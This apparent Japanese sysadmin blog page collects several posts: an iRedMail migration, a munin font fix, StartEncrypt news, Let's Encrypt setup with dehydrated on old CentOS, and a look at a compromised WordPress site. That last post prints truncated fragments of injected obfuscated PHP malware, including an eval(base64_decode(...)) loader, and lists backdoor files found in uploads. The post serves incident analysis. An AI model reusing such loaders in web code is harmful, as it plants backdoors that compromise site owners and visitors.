Web – OSAKANA TAROのメモ帳

vpopmail代替としてのpostfix+dovecotメールサーバ環境iRedMail

vpopmail+qmailを使って複数ドメインのメールサーバを運用していた。
さすがにきつくなってきたので乗り換え先をいろいろ検討していた。

・いままで使っていたパスワードが継続できること
　（元の平文パスワードは不明で、MySQL上のvpopmailにあるパスワード文字列を引き継げること）
・POP3 before SMTPは廃止する
・とりあえず２０ドメインぐらいあり、各ドメインのユーザは２０個程度
・Maildir形式のメールデータは移行する
・Web UIでメールアカウントを作成できること
・無償版の範囲であること

いろいろ探した結果、「iRedMail」を乗り換え先として選定した。

vpopmailとiRedMail無償版を比較した場合、機能が足らない点は以下である。
・各ドメイン内の管理者ユーザが使用できない
　　全体管理者と一般ユーザの２種類のみが使用できる
　　ドメイン内の管理者ユーザは有償版の機能
・エイリアスはWeb UIで管理できない
　　有償版での機能
　　手動でMySQL DB上に設定を入れることでエイリアスを使用することはできる
　　(Set mail forwarding with SQL command line)
・メーリングリストをWeb UIで管理できない
　　有償版での機能
　　mlmmjベースであるため手動で設定することはできる
・アップデートが面倒
　　無償版だと手動でいろいろ設定しつつアップデートを行う必要がある。

ドメイン内管理者が使用できないというところが痛いが、必須要素ではないため、目をつぶった。

新しい利点として
・Exchange対応
　　POP3/IMAPだけでなく「SOGo」というExchange互換サーバ機能を利用できる
　　カレンダー(CalDAV)、住所録(CardDAV)も対応
・WebMailが２種類使える
　　「Roundcube」と「SOGo」の２種類のWebMailが使える
・SMTP AUTH対応
・LetsEncryptによるSSL対応
　「Use a SSL certificate」
・DKIM対応
　「Sign DKIM signature on outgoing emails for new mail domain」

設定は、初期インストール直後のCentOS 7/Ubuntuなどで「iRedMail」公式からファイルをダウンロードして、インストールスクリプトを実行するだけで良い。

インストールスクリプト実行完了後に、初期の設定パスワードなどを記載したファイルを出力するので、どこか別の場所に保存しておく必要がある。

インストール後、「postfix/dovecotメールサーバでWindows Live Mail 2012がエラーになる」に記載した設定は行った方が良い。

また、今後、パッケージのアップデートを行う場合は「php.iniを変更せずにdisable_functionsの内容を無効化してroundcubeのアップグレードスクリプトを動作させる方法」の知識が必要になる。

なお、実際に切り替えてみると、Windows Live Mail 2012ユーザでは問題が発生した。
Windows Live Mail 2012の場合、同じパスワードであってもパスワードの設定をやり直さなければ認証エラーとなる仕様であるようだ。

CentOS7環境でのmunin/rrdtoolの文字化けはvlgothic-fontsで対処

Check

CentOS7環境でmuninを使ったら、文字化けっぽいものが・・・
何が原因なのかわからなかったので、とりあえず切り分けのために、以前作った「IIJmioクーポンスイッチAPIを使って使用量グラフ作成」のrrdtoolをCentOS7環境で実行してみた

rrdtool graph test-year.png --imgformat=PNG \
--height=300 \
--width=600 \
--lower-limit=0 \
--end now --start end-14months \
--vertical-label "MB" \
--x-grid WEEK:1:MONTH:1:MONTH:1:0:%m/%d \
--units-exponent 0 \
--title="IIJmioの1年分使用量" \
DEF:SIM1C=hdo～.rrd:withCoupon:LAST \
DEF:SIM1N=hdo～.rrd:withoutCoupon:LAST \
DEF:SIM2C=hdo～.rrd:withCoupon:LAST \
DEF:SIM2N=hdo～.rrd:withoutCoupon:LAST \
DEF:SIM3C=hdo～.rrd:withCoupon:LAST \
DEF:SIM3N=hdo～.rrd:withoutCoupon:LAST \
DEF:SIM4C=hdo～.rrd:withCoupon:LAST \
DEF:SIM4N=hdo～.rrd:withoutCoupon:LAST \
DEF:SIM5C=hdo～.rrd:withCoupon:LAST \
DEF:SIM5N=hdo～.rrd:withoutCoupon:LAST \
CDEF:SIM1=SIM1C,SIM1N,+ \
CDEF:SIM2=SIM2C,SIM2N,+ \
CDEF:SIM3=SIM3C,SIM3N,+ \
CDEF:SIM4=SIM4C,SIM4N,+ \
CDEF:SIM5=SIM5C,SIM5N,+ \
LINE2:SIM1#0000FF:"SIM1" \
LINE2:SIM2#00FFFF:"SIM2" \
LINE2:SIM3#00FF00:"SIM3" \
LINE2:SIM4#F00F00:"SIM4" \
LINE2:SIM5#FFFF00:"SIM5"

すると下記のように「IIJmioの1年分使用量」のうち日本語文字列である「の」「年分使用量」が化けている。

では、何を追加インストールすればいいのか？
CentOS5環境では「fonts-japanese」であった。
しかし、CentOS7環境ではこのパッケージ名は存在していない。

CentOS5環境でのパッケージ情報を確認

# yum info fonts-japanese
Loaded plugins: fastestmirror, priorities
base                                                                  3667/3667
Installed Packages
Name       : fonts-japanese
Arch       : noarch
Version    : 0.20061016
Release    : 4.el5
Size       : 40 M
Repo       : installed
Summary    : フリーな日本語のビットマップ/TrueType フォント
License    : Distributable
Description: This package provides the free Japanese Bitmap/TrueType fonts.
#

そして、CentOS7環境でTrueTypeで検索してみる。

# yum search "TrueType"
読み込んだプラグイン:fastestmirror, langpacks
Loading mirror speeds from cached hostfile
 * base: www.ftp.ne.jp
 * epel: ftp.jaist.ac.jp
 * extras: www.ftp.ne.jp
 * updates: www.ftp.ne.jp
============================ N/S matched: TrueType =============================
SDL2_ttf.x86_64 : TrueType font rendering library for SDL2
SDL_ttf.x86_64 : Simple DirectMedia Layer TrueType Font library
baekmuk-ttf-batang-fonts.noarch : Korean Baekmuk TrueType Batang typeface
baekmuk-ttf-dotum-fonts.noarch : Korean Baekmuk TrueType Dotum typeface
baekmuk-ttf-fonts-common.noarch : Common files for Korean Baekmuk TrueType fonts
baekmuk-ttf-fonts-ghostscript.noarch : Ghostscript files for Korean Baekmuk
                                     : TrueType fonts
baekmuk-ttf-gulim-fonts.noarch : Korean Baekmuk TrueType Gulim typeface
baekmuk-ttf-hline-fonts.noarch : Korean Baekmuk TrueType Headline typeface
cjkuni-ukai-fonts.noarch : Chinese Unicode TrueType font in Kai face
cjkuni-uming-fonts.noarch : Chinese Unicode TrueType font in Ming face
libfonts.noarch : TrueType Font Layouting
mftrace.x86_64 : Utility for converting TeX bitmap fonts to Type 1 or TrueType
               : fonts
sazanami-fonts-common.noarch : Common files for Sazanami Japanese TrueType fonts
sazanami-gothic-fonts.noarch : Sazanami Gothic Japanese TrueType font
sazanami-mincho-fonts.noarch : Sazanami Mincho Japanese TrueType font
ttembed.x86_64 : Remove embedding limitations from TrueType fonts
ttf2pt1.x86_64 : TrueType to Adobe Type 1 font converter
ttmkfdir.x86_64 : Utility to create fonts.scale files for truetype fonts
vlgothic-fonts.noarch : Japanese TrueType font
vlgothic-p-fonts.noarch : Proportional Japanese TrueType font

  Name and summary matches only, use "search all" for everything.
#

「vlgothic-fonts.noarch : Japanese TrueType font」が怪しそうなので「yum install vlgothic-fonts.noarch」を実行してインストール。

そして、rrdtoolsを再実行して生成した画像が↓

というわけで、CentOS7環境でmunin/rrdtoolsで日本語文字列が化けるときは「vlgothic-fonts」をインストールすればよい、ということがわかった。

クラックされたwordpressを見てみた

Check

ページが開けない、というので、調べてみたら、クラックされたwordpressだったので、いろいろファイルをのぞいてみた記録

ざらっと調べてみたけど、被害範囲がでかすぎたので、最初から作ってもらうしかないです、という回答となりました。

・index.php に下記のような文字列が埋め込まれていた

$GLOBALS['_502176623_']=Array(base64_decode('ZXJyb3Jf' .'cm' .'V' .'wb3' .'J0aW5' .'n'),base64_decode('cHJlZ' .'19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19' .'y' .'Z' .'XBsYW' .'Nl'),base64_decode('c3' .'RycG9' .'z'),base64_decode('' .'bWQ1'),base64_decode('ZnVuY' .'3Rp' .'b25fZXhpc3Rz'),base64_decode('Y3' .'Vy' .'bF9pbml' .'0'),base64_decode('Y' .'3Vyb' .'F9zZ' .'XRvcH' .'Q='),base64_decode('Y' .'3Vyb' .'F9zZXRv' .'cHQ='),base64_decode('Y' .'3V' .'yb' .'F9zZX' .'R' .'vcHQ'
＜略＞
+50)){echo $_8;}}elseif(@$GLOBALS['_502176623_'][13](_1644837808(1091))== round(0+0.25+0.25+0.25+0.25)){echo@$GLOBALS['_502176623_'][14]($_6);}}
//###==###

・wp-config.php 下記のようなものが数箇所に埋め込まれていた

eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJGF1YnRvcSA9IDE2MDU7IGZ1bmN0aW9uIHh1Y3dxbXIoJHRidmRoLCAka29pbW5nbHcpeyRuanpuZXhxcSA9ICcnOyB
＜略＞
neCc9PidDJywgJ3onPT4nMCcpOwpldmFsLypkeXNwZiovKHh1Y3dxbXIoJGp5Z3h0c2IsICRxemlmeGY
pKTsKfQ=="));

・wp-content/uploads/ にいろんなものがアップロードされている

[root@host wp-content]# ls -la uploads/
合計 56
drwxr-xr-x  5 apache apache  4096 12月  3 11:45 2016 .
drwxr-xr-x  7 apache apache  4096 11月  7 12:50 2016 ..
-rw-r--r--  1 apache apache     0  5月  2 09:41 2016 1.php
drwxr-xr-x  4 apache apache  4096 10月 10 22:31 2016 2015
drwxr-xr-x 12 apache apache  4096 10月  1 01:17 2016 2016
-rw-r--r--  1 apache apache 21377  5月  2 09:41 2016 dbc.php.suspected
-rw-r--r--  1 apache apache  1367 11月  7 12:50 2016 jpgjsk.php.suspected
-rw-r--r--  1 apache apache  4902  5月  2 09:41 2016 mates.php.suspected
drwxr-xr-x  2 apache apache  4096 12月 13 23:58 2016 ps_auto_sitemap
[root@host wp-content]#

・wp-admin/.bt と wp-admin/css/.bt というファイルが作成され、おそらくアクセス許可IPが記載されている
ファイル末尾に追記されるわけではなく、ソートされた順序で増えていっていた

0.5.2.2
0.83.4.1
100.2.201.8
100.35.50.239
100.43.80.14
＜略＞
99.98.120.94
99.98.2.226
#version:1

・いろんなphpの冒頭が下記のように書き換えられている

&lt;?php





                                      $h00d = 846;$GLOBALS['a287']=Array();globa
l$a287;＜略＞
$a287['h6d2'][65]]);}exit();} ?&gt;&lt;?php
/**

・あと、データベースにいろいろデータが突っ込まれていた

Let’s Encrypt対抗サービスのStart Encrypt

Check

StartSSLというSSL証明書発行サービスをやっているStartComが、Let’s Encrypt対抗サービスとなる「Start Encrypt」というものを開始しようとしています。

プレスリリース「StartCom launches a new service – StartEncrypt」(2016/06/06)

（2016/08/08現在、「Coming soon」表記のままなのが謎・・・公開当初はクライアントバイナリも公開されてた気がするのですが・・・）

Let’s Encryptとの違いはちゃんとあります。
https://docs.google.com/spreadsheets/d/1fd43Gx6Xtn_Cz5ivrl-qJi_Ze1GGBufuTXPpyw-ZgjI/edit?usp=sharing

(表へのリンク)

2017/01/12追記

なんか開始早々巨大なバグがあったらしく、サービスが停止してしまったそうで、いまはページも消失してますね
「StartSSL Free」という3年間有効で10ドメインまでというやつをやってますが、それはAPI対応とか無い感じですね

CentOS5などの古い環境でLet’s Encryptを使う(2017/02/21更新)

Check

フリーで90日有効のSSL証明書を取得できる「Let’s Encrypt」

90日毎に更新する必要があるため、プログラムを実行して証明書の取得ができるようになっている。
公式のプログラム（クライアント）は「https://github.com/certbot/certbot」にあるが、CentOS6以降やUbuntu向けに作られており、古いPythonの環境であるCentOS5では動作させるのが大変である。

公式以外のクライアントを探すと、「List of Client Implementations」に互換クライアント一覧がある。

いろいろある中で、2016年1月時点では唯一のbash環境用のスクリプトだった「Shell script client: dehydrated (旧名letsencrypt.sh)」を選択。（なお、2017年2月現在では他にも3つ出ている。）

dehydratedは、「opensslコマンド」「curlコマンド」「sedコマンド」「grepコマンド」があれば動作する。

1. 「git clone https://github.com/lukas2511/dehydrated.git」でプログラム取得
2. SSL証明書発行時に使用する一時ディレクトリの設定
　SSL証明書発行時、Let’s Encryptサーバから「http://ドメイン名/.well-known/acme-challenge/～」という
　アクセスが行われる。その際のファイルを置く場所を用意する。
　ここでは/var/www/dehydratedディレクトリに置くことにする。
　(1) /var/www/dehydratedディレクトリ作成
　(2) Aapacheの設定で「/etc/httpd/conf.d/dehydrated.conf」を作成

Alias /.well-known/acme-challenge /var/www/dehydrated
<Directory /var/www/dehydrated/>
</Directory>

　(3) Aapacheの再起動

3. configを作成
　docs/examples/config を元にconfigを作成する。
　基本的には初期状態のままで良いが
　2で/var/www/dehydrated以外を指定した場合に下記の記述を変更する
　

WELLKNOWN="/var/www/dehydrated/"

4. domains.txtを作成
　SSL証明書を発行したいドメインをスペース区切りで列挙する。
　

blog.osakana.net blog2.osakana.net

5. dehydratedを実行して、まずはアカウント登録

# ./dehydrated --config /～/dehydrated/config --register --accept-terms
# INFO: Using main config file ./config
+ Generating account key...
+ Registering account key with ACME server...
+ Done!
#

下記の様にaccountsディレクトリが作成される

# ls -F
CHANGELOG  README.md  config       docs/        test.sh*
LICENSE    accounts/  dehydrated*  domains.txt
# ls -F accounts/
～～～/
#

6. もう一度、dehydratedを実行してSSL証明書を発行

# ./dehydrated --config ./config --cron
# INFO: Using main config file ./config
Processing ～ ～ ～
 + Signing domains...
 + Creating new directory ./certs/niselog.dyndns.ws ...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for ～...
 + Requesting challenge for ～...
＜略＞
 + Responding to challenge for ～...
 + Challenge is valid!
 + Responding to challenge for ～...
 + Challenge is valid!
 + Requesting certificate...
 + Checking certificate...
 + Done!
 + Creating fullchain.pem...
 + Done!
#

下記の様にcertsディレクトリ以下にファイルが作成される。

# ls -F
CHANGELOG  README.md  certs/  dehydrated*  domains.txt
LICENSE    accounts/  config  docs/        test.sh*
# ls -F certs/
～/
# ls -F certs/～/
cert-xxxxxxxxxx.csr  chain-xxxxxxxxxx.pem      privkey-xxxxxxxxxx.pem
cert-xxxxxxxxxx.pem  chain.pem@                privkey.pem@
cert.csr@            fullchain-xxxxxxxxxx.pem
cert.pem@            fullchain.pem@
[root@niselog dehydrated]#

7. Apache設定内のSSLファイルの指定では、作成されたファイルのうち、fullchain.pemとprivkey.pem,chain.pemを指定する。

SSLCertificateFile /～/certs/～/fullchain.pem
SSLCertificateKeyFile /～/certs/～/privkey.pem
SSLCertificateChainFile /～/certs/～/chain.pem

なお、最近は問題無いが、バージョンアップしていない古いブラウザでは、「SSLCertificateChainFile /～/certs/～/chain.pem」を抜いた２行で設定するとエラーが発生する場合があるので注意が必要。

8. httpsアクセスをして問題無いことを確認

9. crontabに、dehydratedを定期的に実行する設定を追加

毎月1日と15日に実行する処理

# crontab -l
0 3 1,15 * * /～/dehydrated/dehydrated --config /～/dehydrated/config --cron >> /tmp/ssl-update.log 2>&1
#

以下は旧バージョン

フリーで90日有効のSSL証明書を取得できる「Let’s Encrypt」

90日毎に更新する必要があるため、プログラムを実行して証明書の取得ができるようになっている。
公式のプログラム（クライアント）は「https://github.com/letsencrypt/letsencrypt」にあるが、CentOS6以降やUbuntu向けに作られており、古いPythonの環境であるCentOS5では動作させるのが大変である。

公式以外のクライアントを探すと、「List of Client Implementations」に互換クライアント一覧がある。

いろいろある中で、一番制約が薄そうな「Shell script (and a little Perl) client: https://github.com/lukas2511/letsencrypt.sh」を選択。
「opensslコマンド」「curlコマンド」「sedコマンド」があれば動作する。
perlはこの一覧が作られた当初は必要だったようだが、2016/01/04時点では不要。公式のletsencryptコマンドから移行する場合に使用するimport-account.plコマンドを使う時だけ必要なようだ。

1. 「git clone https://github.com/lukas2511/letsencrypt.sh」でプログラム取得
2. SSL証明書発行時に使用する一時ディレクトリの設定
　SSL証明書発行時、Let’s Encryptサーバから「http://ドメイン名/.well-known/acme-challenge/～」という
　アクセスが行われる。その際のファイルを置く場所を用意する。
　ここでは/var/www/letsenryptディレクトリに置くことにする。
　(1) /var/www/letsencryptディレクトリ作成
　(2) Aapacheの設定で「/etc/httpd/conf.d/letsencrypt.conf」を作成

Alias /.well-known/acme-challenge /var/www/letsencrypt
<Directory /var/www/letsencrypt/>
</Directory>

　(3) Aapacheの再起動

3. config.shを作成
　config.sh.exampleを元にconfig.shを作成
　といっても、下記の行を書くだけ
　

WELLKNOWN="/var/www/letsencrypt/"

4. domain.txtを作成
　SSL証明書を発行したいドメインをスペース区切りで列挙する。
　

blog.osakana.net blog2.osakana.net

5. letsencrypt.shを実行

# ./letsencrypt.sh --config /～/letsencrypt.sh/config.sh --cron
Using config file /～/letsencrypt.sh/config.sh
Processing blog.osakana.net with SAN: blog2.osakana.net 
 + Signing domains...
 + make directory /～/letsencrypt.sh/certs/blog.osakana.net ...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for blog.osakana.net...
 + Responding to challenge for blog.osakana.net...
 + Challenge is valid!
 + Requesting challenge for blog2.osakana.net...
 + Responding to challenge for blog2.osakana.net...
 + Challenge is valid!
 + Requesting certificate...
 + Checking certificate...
 + Creating fullchain.pem...
 + Done!
#

下記の様にcertsディレクトリ以下にファイルが作成される。

# ls -F
certs/             domains.txt          import-certs.sh*  private_key.pem
config.sh          domains.txt.example  letsencrypt.sh*   README.md
config.sh.example  import-account.pl*   LICENSE           test.sh*
# ls -F certs/
blog.osakana.net/
# ls -F certs/blog.osakana.net/
cert-xxxxxxxxxx.csr  chain-xxxxxxxxxx.pem      privkey-xxxxxxxxxx.pem
cert-xxxxxxxxxx.pem  chain.pem@                privkey.pem@
cert.csr@            fullchain-xxxxxxxxxx.pem
cert.pem@            fullchain.pem@
#

Apache設定内のSSLファイルの指定では、作成されたファイルのうち、fullchain.pemとprivkey.pem,chain.pemを指定する。

SSLCertificateFile /～/certs/～/fullchain.pem
SSLCertificateKeyFile /～/certs/～/privkey.pem
SSLCertificateChainFile /～/certs/～/chain.pem

ちなみに、「SSLCertificateChainFile /～/certs/～/chain.pem」を抜いた２行で設定するとChromeやIEでは問題無いが、Firefoxでのみ「sec_error_unknown_issuer」のエラーがでる。
(なお、fullchain.pemとprivkey.pemを指定しているのは、標準のletsencryptを使った場合に生成されるapache用cocnfigファイルで使われていたから）

おまけ:CentOS4で使用する場合に必要になること

・curlの証明書問題
　→ /usr/share/ssl/certs/ca-bundle.crt を更新する
　　→ OpenSSLが古いためにエラーが発生
　　　「curl: (35) error:0D0890A1:asn1 encoding routines:ASN1_verify:unknown message digest algorithm」
・OpenSSLが古い
　→ /usr/local/openssl1とかに新しいバージョンをインストールして回避
　　letsencrypt.shの冒頭に、PATHとLD_LIBRARY_PATHを定義して、こちらを優先するように設定
　→ こっちのOpenSSLを使うcurlをコンパイル
・trコマンドが古い
　letsencrypt.shを実行すると「tr: オプションが違います — _」というエラー
　→ 新しいバージョンのtrが含まれるcoreutilsを/usr/localにインストール
・bashコマンドが古い
　環境変数操作で「SAN+=～」ということをやってるがCentOS4のBASHでは非対応
　letsencrypt.shを修正して、CentOS4でも使える操作に変更
　「SAN+=”DNS:${altname}, “」→「SAN=”${SAN}DNS:${altname}, “」

・下記のエラーでうまく行かない

# ./letsencrypt.sh --cron --config /～/letsencrypt.sh/config.sh
Using config file /～/letsencrypt.sh/config.sh
Processing xxxxxx with SAN: xxxxx 
 + Signing domains...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for xxxxxx...
  + ERROR: An error occurred while sending post-request to https://acme-v01.api.letsencrypt.org/acme/new-authz (Status 403)

Details:
{"type":"urn:acme:error:unauthorized","detail":"No registration exists matching provided key","status":403}  + Error: Can't retrieve challenges ()
#

　→ 失敗した時のcertが悪さをしていた
　　certsディレクトリの中身とprivate_key.pemを削除して再実行したところ成功